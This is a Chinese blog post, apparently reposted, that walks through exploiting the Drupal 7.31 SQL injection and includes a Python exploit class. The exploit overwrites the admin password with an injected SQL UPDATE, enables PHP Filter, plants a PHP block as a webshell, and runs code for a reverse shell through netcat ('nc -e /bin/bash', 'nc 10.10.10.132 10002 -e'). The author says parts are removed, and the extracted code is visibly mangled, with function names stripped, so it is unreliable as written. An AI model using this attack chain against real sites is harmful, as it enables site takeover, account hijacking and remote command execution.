Drupal7.31SQL注入漏洞利用详解及EXP

Drupal7.31SQL注入漏洞利用详解及EXP

2023年6月29日发(作者:)

Drupal7.31SQL注⼊漏洞利⽤详解及EXP有意迟⼏天放出来这篇⽂章以及程序,不过看样⼦Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,不过说实话这个洞威⼒挺⼤的,当然,这也是Drupal本⾝没有意料到的。0x00⾸先,这个漏洞真的很⼤,⽽且Drupal⽤的也⽐较多,应该可以扫出很多漏洞主机,但是做批量可能会对对⽅⽹站造成很⼤的损失,所以我也就只是写个Exp。不过,这个洞好像不怎么被重视,这也是极为不合适。

0x01关于漏洞的原理和POC在我的博客上已经有⽂章进⾏解释,这⾥只是着重说⼀下利⽤过程。配合POC的效果,我主要是从远程代码执⾏和GetShell⽅⾯去做的利⽤。远程代码执⾏利⽤:1.使⽤超级管理员进⾏登录2.开启站点PHP Filter功能3.新建aticle,选择PHP_CODE模式(编辑php代码)并预览4.预览页⾯载⼊后就会执⾏代码

对应EXP中DrupalSQLin类的codeExecution函数,这个函数所做的事情就是把上述过程⾃动化。我编写这个部分⽐较费劲的是,requests发送attachment遇到了问题,最后实在没办法就⾃⼰对Post数据包进⾏拼接,拼接结构如下:

在调试程序时,使⽤burpsuite进⾏辅助很有效果,通过burpsuite你可以清楚看到每⼀次交互的数据包格式与字段内容。GetShell利⽤:1.使⽤超级管理员进⾏登录2.开启⽹站的PHP Filter功能3.新建block,编辑PHP代码4.使⽤PHP_CODE进⾏保存Post请求构造如下:

使⽤python进⾏发包,有个缺点就是不直观,我们⽆法获知我们的数据包构造是否正确,这时候可以使⽤requests模块的proxies参数,将代理设置为burpsuite,然后就可以分析调试了。不过,使⽤新建block的⽅法获取shell可能权限⽐较⼩。

在构造请求包的时候,有两个字段是form_build_id和form_token,他们是Drupal⾃带的防⽌CSRF所使⽤的token(类似于Django中的csrf防护)。发包之前必须找到这两个东西,使⽤⼩型爬⾍即可。

还有⼀个关键点就是模拟登陆后要保存cookie,因为后续的攻击利⽤都要携带admin的cookie,否则会执⾏出错。

0x02命令执⾏效果:本地监听端⼝获取反弹shell测试环境:本地测试程序执⾏:如下图接收反弹shell的过程中主线程会阻塞。反弹shell效果;

0x03这个漏洞威⼒⼤,带给对⽅主机的危害也⼤,⽽且涉及到⽤户覆盖以及改变⽹站原有设置的问题,所以我这⾥就不准备将代码完整分享出来。如果想要隐蔽地利⽤,那么需要做很多辅助⼯作,⽐如在开启php filter的过程中,涉及到⼩型爬⾍抓取⽹站原有的配置信息。还有就是管理员的获取⽅式进⾏改进。接下来就是放出部分代码:模拟登录函数开启PHP Filter:代码执⾏:

0x04这种Web类型的EXP编写需要很多细节,在调试的途中我甚⾄动⽤了burpsuite。并且这个过程也让我恶⼼得很。另外,程序也仅供安全研究与学习交流使⽤,请读者不要⽤于⾮法⽤途。

0x05分享⼀下程序,其中⼀些重要的部分被我删去⼀些,程序现在是⽆法运⾏的,还是只提供学习交流使⽤:

#coding=utf-8import requestsimport reimport sysimport socketimport urllibimport urllib2import cookielibimport mimetypesimport mimetoolsclass DrupalSQLin(): '''获取超级管理员账户密码(覆盖)''' def getAdmin(self,url): try: try: #admin is owned, pass is thanks data = { "name[0 ;update users set name='admin',pass='$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid=1;# ]":'admin', "name[0]":"111111", "pass":"shit2", "test2":"test", "form_build_id":"", "form_id":"user_login_block", "op":"Log+in" } r = (url,timeout=10,data=data) page = t if ("mb_strlen() expects parameter 1 to be string") != 0: print "[+] Get Admin Success:admin/thanks" except Exception, e: print "Exception exists:%s" % e return None '''使⽤超级管理员登录''' def login(self,url): #get token pattern = e(r'name="form_build_id" value="(.+)"') r = (url) form_build_id = l(t)[0] login_data = { 'name':'admin', 'pass':'thanks', 'form_build_id':form_build_id, #csrf token 'form_id':'user_login_block', 'op':'Log+in' } r = (url,data=login_data) page = t if ("Log out") != 0: print '[+] Admin Log in Success!'

#获取cookies cj = kieJar() opener = _opener(okieProcessor(cj)) login_path = '127.0.0.1/drupal-7.31/' pattern = e(r'name="form_build_id" value="(.+)"') r = (login_path) form_build_id = l(t)[0] data = { 'name':'admin', 'pass':'thanks', 'form_build_id':form_build_id, #csrf token 'form_id':'user_login_block', 'op':'Log+in' } post_data = ode(data) request = t(login_path,post_data) html = (request).read() if cj: ('') else: print 'Get Cookies Error, Exploit Failed!' () f = open('','r') cookiesfile = () pattern = e(r'Set-Cookie3: (.+?)=(.+?);') ret = l(cookiesfile) cookies = {ret[0][0]:str(ret[0][1]).replace('"','')} return cookies return cookies else: return None '''开启PHP Filter''' def openPhpFilter(self,url): cookies = (url) url = "%s%s" % (url,"?q=admin/modules/list/confirm") pattern_id = e(r'name="form_build_id" value="(.+)"') pattern_token = e(r'name="form_token" value="(.+)"') r = (url,cookies=cookies) form_build_id = pattern_l(t)[0] #csrf token form_token = pattern_l(t)[0] post_data = { 'modules[Core][php][enable]':'1', 'modules[Core][color][enable]':'1', 'modules[Core][comment][enable]':'1', 'modules[Core][contextual][enable]':'1', 'modules[Core][dashboard][enable]':'1', 'modules[Core][dblog][enable]':'1', 'modules[Core][field_ui][enable]':'1', 'modules[Core][help][enable]':'1', 'modules[Core][list][enable]':'1', 'modules[Core][menu][enable]':'1', 'modules[Core][number][enable]':'1', 'modules[Core][overlay][enable]':'1', 'modules[Core][path][enable]':'1', 'modules[Core][rdf][enable]':'1', 'modules[Core][search][enable]':'1', 'modules[Core][shortcut][enable]':'1', 'modules[Core][toolbar][enable]':'1', 'form_build_id':form_build_id, 'form_token':form_token, 'form_id':'system_modules', 'op':'Save+configuration' } try: r = (url,data=post_data,cookies=cookies) print '[+] Open PHP Filter Success!' except Exception, e: print "[+] Exception:%s Exploit Failed!" % e ()

'''获取webshell:?q=admin/structure/block/add''' def getShell(self,url,content=""): print "[+] Get Shell ModulenNotice: You can use this part get a shell." cookies = (url) url = "%s%s" % (url,"?q=admin/structure/block/add&render=overlay") pattern_id = e(r'name="form_build_id" value="(.+)"') pattern_token = e(r'name="form_token" value="(.+)"') r = (url,cookies=cookies) form_build_id = pattern_l(t)[0] #csrf token form_token = pattern_l(t)[0] post_data = { 'title':'', 'info':'shit2', 'body[value]':content, 'body[format]':'php_code', 'regions[bartik]':'-1', 'regions[seven]':'-1', 'visibility':'0', 'pages':'', 'custom':'0', 'visibility__active_tab':'edit-path', 'form_build_id':form_build_id, 'form_build_id':form_build_id, 'form_token':form_token, 'form_id':'block_add_block_form', 'op':'Save+block' } rp = (url,data=post_data) page_content = t if page_("created") != 0: print 'Get Shell Success:%s/?q=admin/structure/block&render=overlay' % url return "%s/?q=admin/structure/block" % url else: print 'Get Shell Failed!' '''远程代码执⾏:?q=node/add/article''' def codeExecution(self,url,code): print '''[+]Code Execution ModulePlease make sure that keep nc listener opening when you want to get a reverse , you need to exe nc -vv -l -p , you can run this script with command 'nc -e /bin/bash'Tips: If you want a echo, add reg by youself. ''' cookies = (url) url = "%s%s" % (url,"?q=node/add/article") r = (url,cookies=cookies) pattern_id = e(r'name="form_build_id" value="(.+)"') pattern_token = e(r'name="form_token" value="(.+)"') form_build_id = pattern_l(t)[0] #csrf token #拼接attachment BOUND = _boundary() content_type = "multipart/form-data; boundary=%s" % BOUND CRLF = "rn" fields = { 'title':'chongrui', 'field_tags[und]':CRLF, 'body[und][0][summary]':CRLF, 'body[und][0][value]':'' % code, 'body[und][0][format]':'php_code', 'field_image[und][0][fid]':'0', 'field_image[und][0][display]':'1', 'changed':CRLF, 'form_build_id':form_build_id, 'form_token':form_token, 'form_id':'article_node_form', 'log':CRLF, 'name':'admin', 'date':CRLF, 'status':'1', 'promote':'1', 'additional_settings__active_tab':'edit-revision-information', 'op':'Preview' } L= [] for k,v in (): ('--'+BOUND) ('n') ('Content-Disposition: form-data; name="%s"%s' % (k,"n")) if v != CRLF: (CRLF) (v) ('n')

('%s--' % BOUND) (CRLF) body = '' for x in L: body+=x headers = { 'Content-type':content_type } r = (url,data=body,cookies=cookies,headers=headers) cmd_echo = t if cmd_("Preview trimmed version") == 0: print 'Execution Error!'

else: print 'Execution Success!'if __name__ == '__main__': url = "127.0.0.1/drupal-7.31/" code = "" print "Target host:%s" % url print 'Powered by :Exploit nQQ:739858341' exp = DrupalSQLin() #获取admin权限 in(url) #开启php filter pFilter("127.0.0.1/drupal-7.31/") #getshell ll(url) #代码执⾏ ecution(url,'c: 10.10.10.132 10002 -e c:')

发布者:admin,转转请注明出处:http://www.yc00.com/news/1687987959a64236.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信